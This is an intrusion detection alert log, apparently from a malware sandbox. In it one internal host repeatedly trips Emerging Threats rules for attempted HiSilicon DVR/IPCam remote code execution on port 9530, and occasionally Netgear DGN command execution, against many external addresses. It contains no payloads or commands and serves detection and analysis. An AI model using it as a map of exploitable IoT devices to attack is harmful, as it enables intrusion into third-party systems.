05/16/24-16:39:14.521988	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60642	9530	192.168.2.23	131.192.0.225
05/16/24-16:39:16.597932	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34090	9530	192.168.2.23	87.160.201.217
05/16/24-16:38:57.424472	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43456	9530	192.168.2.23	5.12.165.95
05/16/24-16:39:05.677813	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57540	9530	192.168.2.23	70.115.237.56
05/16/24-16:38:57.424472	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43456	9530	192.168.2.23	5.12.165.95
05/16/24-16:39:05.677813	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57540	9530	192.168.2.23	70.115.237.56
05/16/24-16:38:53.098294	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37942	9530	192.168.2.23	110.147.2.133
05/16/24-16:39:05.709500	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47332	9530	192.168.2.23	52.208.191.16
05/16/24-16:38:53.098294	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37942	9530	192.168.2.23	110.147.2.133
05/16/24-16:39:05.714861	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48222	9530	192.168.2.23	23.4.102.207
05/16/24-16:39:05.714861	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48222	9530	192.168.2.23	23.4.102.207
05/16/24-16:38:50.004208	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48338	9530	192.168.2.23	111.156.205.146
05/16/24-16:38:50.004208	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48338	9530	192.168.2.23	111.156.205.146
05/16/24-16:39:05.709500	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47332	9530	192.168.2.23	52.208.191.16
05/16/24-16:39:03.260909	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56566	9530	192.168.2.23	34.157.154.90
05/16/24-16:39:03.260909	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56566	9530	192.168.2.23	34.157.154.90
05/16/24-16:39:14.492182	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54262	9530	192.168.2.23	104.107.93.125
05/16/24-16:38:57.438291	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59360	9530	192.168.2.23	77.58.229.158
05/16/24-16:38:57.438291	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59360	9530	192.168.2.23	77.58.229.158
05/16/24-16:39:03.260941	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35038	9530	192.168.2.23	93.97.4.13
05/16/24-16:39:14.492182	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54262	9530	192.168.2.23	104.107.93.125
05/16/24-16:39:03.260941	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35038	9530	192.168.2.23	93.97.4.13
05/16/24-16:38:53.071746	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50482	9530	192.168.2.23	156.174.148.226
05/16/24-16:38:55.175123	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41134	9530	192.168.2.23	217.202.31.235
05/16/24-16:38:49.277416	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	37404	80	192.168.2.23	17.202.189.141
05/16/24-16:38:55.175123	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41134	9530	192.168.2.23	217.202.31.235
05/16/24-16:38:53.071746	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50482	9530	192.168.2.23	156.174.148.226
05/16/24-16:39:05.677733	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53910	9530	192.168.2.23	65.216.57.59
05/16/24-16:39:01.467583	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	48866	80	192.168.2.23	194.69.245.86
05/16/24-16:39:05.677733	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53910	9530	192.168.2.23	65.216.57.59
05/16/24-16:39:03.277941	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57506	9530	192.168.2.23	92.61.110.131
05/16/24-16:38:57.306873	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49892	9530	192.168.2.23	69.71.52.213
05/16/24-16:39:03.277941	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57506	9530	192.168.2.23	92.61.110.131
05/16/24-16:38:57.306873	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49892	9530	192.168.2.23	69.71.52.213
05/16/24-16:38:55.225136	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54132	9530	192.168.2.23	60.8.40.25
05/16/24-16:38:55.225136	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54132	9530	192.168.2.23	60.8.40.25
05/16/24-16:39:08.127108	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34964	9530	192.168.2.23	34.173.136.24
05/16/24-16:39:08.127108	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34964	9530	192.168.2.23	34.173.136.24
05/16/24-16:38:57.446996	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48480	9530	192.168.2.23	206.12.199.93
05/16/24-16:39:08.149420	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47274	9530	192.168.2.23	111.108.152.208
05/16/24-16:38:57.446996	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48480	9530	192.168.2.23	206.12.199.93
05/16/24-16:39:02.748783	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42644	9530	192.168.2.23	207.164.245.25
05/16/24-16:39:02.748783	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42644	9530	192.168.2.23	207.164.245.25
05/16/24-16:38:55.226383	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36816	9530	192.168.2.23	36.106.72.200
05/16/24-16:39:08.041192	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47686	9530	192.168.2.23	212.37.191.241
05/16/24-16:39:16.612718	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34712	9530	192.168.2.23	153.12.226.80
05/16/24-16:38:55.226383	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36816	9530	192.168.2.23	36.106.72.200
05/16/24-16:39:16.612718	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34712	9530	192.168.2.23	153.12.226.80
05/16/24-16:39:08.041192	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47686	9530	192.168.2.23	212.37.191.241
05/16/24-16:39:12.377519	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44772	9530	192.168.2.23	171.183.167.234
05/16/24-16:39:12.377519	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44772	9530	192.168.2.23	171.183.167.234
05/16/24-16:39:14.530322	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59198	9530	192.168.2.23	197.210.197.214
05/16/24-16:39:14.530322	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59198	9530	192.168.2.23	197.210.197.214
05/16/24-16:38:55.175120	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49182	9530	192.168.2.23	110.235.217.121
05/16/24-16:39:08.145348	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48328	9530	192.168.2.23	129.243.129.106
05/16/24-16:39:08.145348	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48328	9530	192.168.2.23	129.243.129.106
05/16/24-16:38:55.229939	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50628	9530	192.168.2.23	209.147.232.147
05/16/24-16:39:02.744355	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46560	9530	192.168.2.23	18.99.136.24
05/16/24-16:38:55.229939	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50628	9530	192.168.2.23	209.147.232.147
05/16/24-16:39:12.380651	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54976	9530	192.168.2.23	130.146.36.185
05/16/24-16:39:02.744355	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46560	9530	192.168.2.23	18.99.136.24
05/16/24-16:39:12.380651	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54976	9530	192.168.2.23	130.146.36.185
05/16/24-16:39:08.044917	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56164	9530	192.168.2.23	144.106.242.233
05/16/24-16:39:12.295361	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53794	9530	192.168.2.23	221.61.225.19
05/16/24-16:39:12.295361	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53794	9530	192.168.2.23	221.61.225.19
05/16/24-16:39:08.044917	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56164	9530	192.168.2.23	144.106.242.233
05/16/24-16:39:08.035651	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40156	9530	192.168.2.23	147.196.178.166
05/16/24-16:39:08.035651	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40156	9530	192.168.2.23	147.196.178.166
05/16/24-16:39:08.044949	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57534	9530	192.168.2.23	42.109.38.18
05/16/24-16:39:08.044882	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59932	9530	192.168.2.23	210.157.248.98
05/16/24-16:39:08.044882	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59932	9530	192.168.2.23	210.157.248.98
05/16/24-16:39:08.044949	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57534	9530	192.168.2.23	42.109.38.18
05/16/24-16:39:05.702496	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60502	9530	192.168.2.23	2.72.110.161
05/16/24-16:39:05.677733	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48460	9530	192.168.2.23	173.24.29.108
05/16/24-16:39:05.702496	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60502	9530	192.168.2.23	2.72.110.161
05/16/24-16:39:05.677733	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48460	9530	192.168.2.23	173.24.29.108
05/16/24-16:39:02.746766	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59848	9530	192.168.2.23	138.59.23.234
05/16/24-16:38:59.519360	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49918	9530	192.168.2.23	49.179.102.247
05/16/24-16:38:59.519360	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49918	9530	192.168.2.23	49.179.102.247
05/16/24-16:39:02.746766	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59848	9530	192.168.2.23	138.59.23.234
05/16/24-16:39:05.699133	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57940	9530	192.168.2.23	98.214.245.188
05/16/24-16:39:05.699133	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57940	9530	192.168.2.23	98.214.245.188
05/16/24-16:38:59.560311	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56604	9530	192.168.2.23	190.101.109.141
05/16/24-16:38:59.560311	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56604	9530	192.168.2.23	190.101.109.141
05/16/24-16:39:14.491135	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40974	9530	192.168.2.23	125.68.36.217
05/16/24-16:39:14.491135	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40974	9530	192.168.2.23	125.68.36.217
05/16/24-16:39:14.492404	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59308	9530	192.168.2.23	172.179.172.49
05/16/24-16:39:14.492404	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59308	9530	192.168.2.23	172.179.172.49
05/16/24-16:38:59.557075	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56052	9530	192.168.2.23	41.161.134.205
05/16/24-16:38:55.175120	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49182	9530	192.168.2.23	110.235.217.121
05/16/24-16:38:59.520012	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38230	9530	192.168.2.23	131.141.177.245
05/16/24-16:38:59.520012	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38230	9530	192.168.2.23	131.141.177.245
05/16/24-16:39:14.522067	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46296	9530	192.168.2.23	195.159.29.150
05/16/24-16:39:14.522067	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46296	9530	192.168.2.23	195.159.29.150
05/16/24-16:38:59.557075	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56052	9530	192.168.2.23	41.161.134.205
05/16/24-16:38:55.206800	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45592	9530	192.168.2.23	187.127.16.9
05/16/24-16:38:55.206800	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45592	9530	192.168.2.23	187.127.16.9
05/16/24-16:38:55.215545	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44292	9530	192.168.2.23	60.22.243.66
05/16/24-16:38:59.518438	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57834	9530	192.168.2.23	192.69.171.34
05/16/24-16:38:55.215545	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44292	9530	192.168.2.23	60.22.243.66
05/16/24-16:38:59.518438	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57834	9530	192.168.2.23	192.69.171.34
05/16/24-16:39:08.149420	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47274	9530	192.168.2.23	111.108.152.208
05/16/24-16:38:55.220928	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60832	9530	192.168.2.23	89.28.198.91
05/16/24-16:38:57.408880	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50302	9530	192.168.2.23	217.118.52.143
05/16/24-16:38:57.408880	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50302	9530	192.168.2.23	217.118.52.143
05/16/24-16:38:55.198254	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55300	9530	192.168.2.23	160.246.6.138
05/16/24-16:38:55.198254	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55300	9530	192.168.2.23	160.246.6.138
05/16/24-16:39:12.298193	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38040	9530	192.168.2.23	207.162.224.64
05/16/24-16:39:08.047720	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56758	9530	192.168.2.23	2.196.130.133
05/16/24-16:39:12.298193	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38040	9530	192.168.2.23	207.162.224.64
05/16/24-16:38:55.220928	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60832	9530	192.168.2.23	89.28.198.91
05/16/24-16:38:59.593437	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36306	9530	192.168.2.23	178.16.197.160
05/16/24-16:39:03.277871	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45222	9530	192.168.2.23	219.180.54.97
05/16/24-16:38:59.593437	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36306	9530	192.168.2.23	178.16.197.160
05/16/24-16:39:03.277871	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45222	9530	192.168.2.23	219.180.54.97
05/16/24-16:38:50.065170	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47944	9530	192.168.2.23	111.219.94.219
05/16/24-16:38:50.065170	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47944	9530	192.168.2.23	111.219.94.219
05/16/24-16:39:03.260897	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46560	9530	192.168.2.23	51.160.119.25
05/16/24-16:38:59.520085	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33902	9530	192.168.2.23	48.145.208.153
05/16/24-16:38:59.520085	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33902	9530	192.168.2.23	48.145.208.153
05/16/24-16:38:55.187222	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51390	9530	192.168.2.23	13.57.219.157
05/16/24-16:38:55.187222	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51390	9530	192.168.2.23	13.57.219.157
05/16/24-16:39:03.260897	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46560	9530	192.168.2.23	51.160.119.25
05/16/24-16:38:57.413349	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43048	9530	192.168.2.23	130.43.198.78
05/16/24-16:38:57.446005	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45950	9530	192.168.2.23	107.77.26.156
05/16/24-16:38:57.413349	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43048	9530	192.168.2.23	130.43.198.78
05/16/24-16:38:57.446005	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45950	9530	192.168.2.23	107.77.26.156
05/16/24-16:38:50.046356	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37710	9530	192.168.2.23	98.4.96.238
05/16/24-16:38:50.046356	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37710	9530	192.168.2.23	98.4.96.238
05/16/24-16:39:05.705372	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43906	9530	192.168.2.23	149.254.242.200
05/16/24-16:39:05.705372	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43906	9530	192.168.2.23	149.254.242.200
05/16/24-16:39:02.727963	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44306	9530	192.168.2.23	40.98.171.206
05/16/24-16:39:02.727963	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44306	9530	192.168.2.23	40.98.171.206
05/16/24-16:39:13.665738	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	49922	80	192.168.2.23	174.215.71.75
05/16/24-16:38:57.411386	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33796	9530	192.168.2.23	206.61.17.96
05/16/24-16:39:16.585521	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54388	9530	192.168.2.23	60.13.217.100
05/16/24-16:39:16.585521	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54388	9530	192.168.2.23	60.13.217.100
05/16/24-16:39:08.146398	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47252	9530	192.168.2.23	138.64.7.210
05/16/24-16:39:08.149075	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36466	9530	192.168.2.23	19.106.1.240
05/16/24-16:39:08.146398	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47252	9530	192.168.2.23	138.64.7.210
05/16/24-16:39:08.149075	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36466	9530	192.168.2.23	19.106.1.240
05/16/24-16:38:57.411386	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33796	9530	192.168.2.23	206.61.17.96
05/16/24-16:39:14.522015	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48716	9530	192.168.2.23	82.169.170.187
05/16/24-16:39:14.522015	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48716	9530	192.168.2.23	82.169.170.187
05/16/24-16:38:50.080374	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53422	9530	192.168.2.23	178.77.1.84
05/16/24-16:38:50.080374	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53422	9530	192.168.2.23	178.77.1.84
05/16/24-16:38:53.071159	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37678	9530	192.168.2.23	181.90.154.92
05/16/24-16:39:08.045080	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56944	9530	192.168.2.23	44.193.93.200
05/16/24-16:38:53.071159	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37678	9530	192.168.2.23	181.90.154.92
05/16/24-16:39:08.045080	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56944	9530	192.168.2.23	44.193.93.200
05/16/24-16:38:50.065066	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36074	9530	192.168.2.23	125.233.128.118
05/16/24-16:38:50.065066	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36074	9530	192.168.2.23	125.233.128.118
05/16/24-16:39:16.580429	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60184	9530	192.168.2.23	191.117.233.196
05/16/24-16:39:16.580429	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60184	9530	192.168.2.23	191.117.233.196
05/16/24-16:39:08.041106	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39822	9530	192.168.2.23	162.130.87.254
05/16/24-16:39:08.041106	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39822	9530	192.168.2.23	162.130.87.254
05/16/24-16:38:55.227486	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53466	9530	192.168.2.23	195.220.141.215
05/16/24-16:38:55.227486	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53466	9530	192.168.2.23	195.220.141.215
05/16/24-16:38:53.011370	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49008	9530	192.168.2.23	139.89.122.31
05/16/24-16:38:50.068395	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43448	9530	192.168.2.23	207.75.246.101
05/16/24-16:38:53.011370	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49008	9530	192.168.2.23	139.89.122.31
05/16/24-16:38:50.068395	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43448	9530	192.168.2.23	207.75.246.101
05/16/24-16:39:08.146125	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48958	9530	192.168.2.23	80.201.219.192
05/16/24-16:39:08.146125	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48958	9530	192.168.2.23	80.201.219.192
05/16/24-16:39:03.262233	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52210	9530	192.168.2.23	93.50.5.56
05/16/24-16:39:03.262233	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52210	9530	192.168.2.23	93.50.5.56
05/16/24-16:38:55.176105	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39730	9530	192.168.2.23	212.24.44.126
05/16/24-16:38:55.176105	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39730	9530	192.168.2.23	212.24.44.126
05/16/24-16:39:12.380129	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35530	9530	192.168.2.23	124.126.109.140
05/16/24-16:39:12.380129	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35530	9530	192.168.2.23	124.126.109.140
05/16/24-16:39:16.615754	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37724	9530	192.168.2.23	45.47.199.59
05/16/24-16:38:57.411067	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55868	9530	192.168.2.23	204.66.155.38
05/16/24-16:38:57.411067	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55868	9530	192.168.2.23	204.66.155.38
05/16/24-16:39:16.615754	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37724	9530	192.168.2.23	45.47.199.59
